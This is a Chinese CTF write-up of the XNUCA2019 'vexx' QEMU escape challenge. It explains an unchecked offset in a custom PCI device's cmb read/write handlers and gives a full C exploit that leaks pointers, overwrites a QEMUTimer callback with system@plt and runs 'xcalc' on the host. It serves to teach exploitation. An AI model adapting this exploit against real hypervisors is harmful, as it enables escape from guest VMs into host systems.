[qemu逃逸] XNUCA2019-vexx

前言

这题没有去符合, 题目本身不算难.

用户名: root

密码: goodluck

设备逆向

题目没有去符合, 所以其实没啥好讲了, 就列一些笔者认为关键的地方

[qemu逃逸] XNUCA2019-vexx_第1张图片

这里的定义了两块 mmio 内存区. 然后看下设备实例结构体:

[qemu逃逸] XNUCA2019-vexx_第2张图片[qemu逃逸] XNUCA2019-vexx_第3张图片

可以看到 QEMUTimer, 所以多半就是劫持 dma_timer 了.

漏洞点在 cmb_read/cmb_write 中: 这里仅仅分析 vexx_cmb_write

[qemu逃逸] XNUCA2019-vexx_第4张图片

在实例结构体中 req_buf 的大小为 0x100, 而 addr = offset + addr, 这里只检查了之前的 addr <= 0x100, 但是没有检查 offset+addr 是否越界, 而在 vexx_ioport_write 中是可以控制 offset 的, 从而导致越界写.

[qemu逃逸] XNUCA2019-vexx_第5张图片

 同理 vexx_cmb_read 存在越界读

漏洞利用

其实就很简单了直接劫持 QEMUTimer 就行了

exp 如下: 注: 经过测试 pmio 一次只能写一个字节

#include 
#include 
#include 
#include 
#include 
#include 
#include 

uint64_t mmio_addr = 0x00000000febd6000;
uint64_t mmio_size = 0x1000;
uint64_t cmb_addr  = 0x00000000febd0000;
uint64_t cmb_size  = 0x4000;

void * mmio_base;
void * cmb_base;
uint64_t pmio_base = 0x230;

void mmio_init()
{
        int fd = open("/dev/mem", 2);
        mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, mmio_addr);
        if (mmio_base < 0) puts("[X} mmio_init at mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, mmio_size) < 0) puts("[X] mlock at mmio"), exit(EXIT_FAILURE);
        cmb_base  = mmap(0, cmb_size , PROT_READ|PROT_WRITE, MAP_SHARED, fd, cmb_addr );
        if (cmb_base < 0)  puts("[X] mmio_init at cmb"), exit(EXIT_FAILURE);
        if (mlock(cmb_base, cmb_size) < 0) puts("[X] mlock at cmb"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
        printf("[+] cmb_base: %#p\n", cmb_base);
}

uint32_t mmio_read(uint64_t offset)
{
        return *(uint32_t*)(mmio_base + offset);
}

void mmio_write(uint64_t offset, uint64_t val)
{
        *(uint64_t*)(mmio_base + offset) = val;
}

uint32_t cmb_read(uint64_t offset)
{
        return *(uint32_t*)(cmb_base + offset);
}

void cmb_write(uint64_t offset, uint32_t val)
{
        *(uint32_t*)(cmb_base + offset) = val;
}

void pmio_init()
{
        if (iopl(3) < 0) puts("[X] pmio_init"), exit(EXIT_FAILURE);
}

uint32_t pmio_read(uint32_t addr)
{
        return inl(pmio_base + (addr - 0x230));
}

void pmio_writel(uint32_t addr, uint32_t val)
{
        outl(val, pmio_base + (addr - 0x230));
}

void pmio_writew(uint32_t addr, uint32_t val)
{
        outw(val, pmio_base + (addr - 0x230));
}

void pmio_writeb(uint32_t addr, uint32_t val)
{
        outb(val, pmio_base + (addr - 0x230));
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();
        /*
        puts("[+] outl");
        pmio_writel(0x240, 0x38);
        puts("[+] outw");
        pmio_writew(0x240, 0x38);
        */
        puts("[+] outb");
        pmio_writeb(0x240, 0x38);
        pmio_writeb(0x230, 1);
        uint64_t cb_addr = cmb_read(0x100);
        printf("[+] cb_addr: %#llx\n", cb_addr);
        pmio_writeb(0x240, 0x3c);
        pmio_writeb(0x230, 1);
        cb_addr = cb_addr | ((1ULL * cmb_read(0x100)) << 32);
        uint64_t system_plt = cb_addr - 0x00000000004DCF10 + 0x00000000002AB860;
        printf("[+] cb_addr: %#llx\n", cb_addr);
        printf("[+] system@plt: %#llx\n", system_plt);

        pmio_writeb(0x240, 0x40);
        pmio_writeb(0x230, 1);
        uint64_t arg_addr = cmb_read(0x100);
        printf("[+] arg_addr: %#llx\n", arg_addr);
        pmio_writeb(0x240, 0x44);
        pmio_writeb(0x230, 1);
        arg_addr = arg_addr | ((1ULL * cmb_read(0x100)) << 32);
        uint64_t cmd_addr = arg_addr + 0xb90;
        printf("[+] arg_addr: %#llx\n", arg_addr);
        printf("[+] cmd_addr: %#llx\n", cmd_addr);

        pmio_writeb(0x240, 0x38);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, system_plt&0xffffffff);
        pmio_writeb(0x240, 0x3c);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, (system_plt>>32)&0xffffffff);

        pmio_writeb(0x240, 0x40);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, cmd_addr&0xffffffff);
        pmio_writeb(0x240, 0x44);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, (cmd_addr>>32)&0xffffffff);

        char cmd[8] = "xcalc";
        pmio_writeb(0x240, 0);
        pmio_writeb(0x230, 1);
        cmb_write(0, *(uint32_t*)&cmd[0]);
        pmio_writeb(0x240, 4);
        pmio_writeb(0x230, 1);
        cmb_write(0, *(uint32_t*)&cmd[4]);

        mmio_write(0x98, 1);

//      puts("[-] DEBUG");
//      pmio_writeb(0x240, 0x38);


        return 0;
}
x

 效果如下:

[qemu逃逸] XNUCA2019-vexx_第6张图片

你可能感兴趣的:(虚拟机逃逸,qemu逃逸)